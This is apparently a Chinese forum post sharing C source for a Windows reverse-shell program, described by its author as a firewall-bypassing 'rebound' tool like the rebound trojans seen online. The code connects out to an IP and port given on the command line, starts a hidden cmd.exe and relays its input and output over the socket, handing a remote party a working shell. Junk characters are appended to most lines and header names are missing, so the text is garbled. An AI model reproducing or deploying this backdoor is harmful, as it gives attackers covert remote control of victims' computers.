这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 Zn1+} Z@I
#w*1 !
/* ============================== \o?zL7
Rebound port in Windows NT Sh=E.!
By wind,2006/7 Um)0jT
===============================*/ &1%W-&bc6
#include Z{EHV7
#include O}MY:6Pe
@ z#;O2
#pragma comment(lib,"wsock32.lib") v{i'o4
/v:g' #n
void OutputShell(); z) yUBcq
SOCKET sClient; p \; * :
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; k.rP}76
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void main(int argc,char **argv) RU,f|hB4
{ LS,/EGJ
WSADATA stWsaData; 2*vOo^f
int nRet; }e6Ta_Z~
SOCKADDR_IN stSaiClient,stSaiServer; ME[Wg\
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if(argc != 3) lJ3/^Htn
{ ;o,t*
printf("Useage:\n\rRebound DestIP DestPort\n"); d;|e7$F'
return; (?J6vK}S
} j2cLb
/,"Z^=
WSAStartup(MAKEWORD(2,2),&stWsaData); TYw0#ZXo
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 5@tpJ8E8$
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stSaiClient.sin_family = AF_INET; #^gn,^QQ
stSaiClient.sin_port = htons(0); 95_?F7}9
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); *qAF#
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) @z EEX9U
{ %/,PY>:|
printf("Bind Socket Failed!\n"); g:q+.6va"
return; GIWgfE?
} Tg&{P{$
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stSaiServer.sin_family = AF_INET; ]}<.Y[!S
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); n4 KiC!*i0
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); /SY40;k:
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) oIt.Pc~;'#
{ 9;&2LT7z
printf("Connect Error!"); %/oOM\}++
return; ":"QsS#*"#
}
@\i6m]\X
OutputShell(); Lbq"( b
} mbsdiab#N
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void OutputShell() v>c[wg9P
{ CJJ 1aM
char szBuff[1024]; '# "Z$
SECURITY_ATTRIBUTES stSecurityAttributes; )*G3q/l1u6
OSVERSIONINFO stOsversionInfo; fg8V6FS
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; +#6WORH0S
STARTUPINFO stStartupInfo; H #E
char *szShell; [p$b@og/>
PROCESS_INFORMATION stProcessInformation; 5dMIv<#T`
unsigned long lBytesRead; 'P)xY-15
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); [{Fr{La`D'
s.6S:
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); (u]ft]z,-B
stSecurityAttributes.lpSecurityDescriptor = 0; V{HZ/p_Y
stSecurityAttributes.bInheritHandle = TRUE; ~1S7\e7{
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vPi\ vU{
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); E,xCfS)
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); UIL5K
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); b]g}h
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; $P^=QN5Bb
stStartupInfo.wShowWindow = SW_HIDE; MCurKT<pQ
stStartupInfo.hStdInput = hReadPipe; .#zx[Io
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 'an{<82i
9=rYzA?)+
GetVersionEx(&stOsversionInfo); ZB`!@/3X
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switch(stOsversionInfo.dwPlatformId) 3 V8SKBS
{ D@[$?^H
case 1: >7vSN<w~m
szShell = "command.com";
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break; =WyAOgy}
default: To}L%)
szShell = "cmd.exe"; VEpIAC4
break; a+A/l
} bkmX@+Pe
; y=w :r\A
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); /iy2j8:z
5c{=/}Y
send(sClient,szMsg,77,0); GY@Np^>[a
while(1) 6jCg7Su]
{ JR
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PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); V *S|Qy!p
if(lBytesRead) g\rujxHlH
{ b2U[W#
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); TCmWn$LeE
send(sClient,szBuff,lBytesRead,0); dam.D.o"
} 3i>$g3G
else FE M_7M
{ BAX])~_
lBytesRead=recv(sClient,szBuff,1024,0); YX^{lD1Jj
if(lBytesRead<=0) break; _[0Ugfz(
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); \Q^\z
} 5mER&SX
}
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<Y~V!9(~{Q
return; Q>TaaGc
}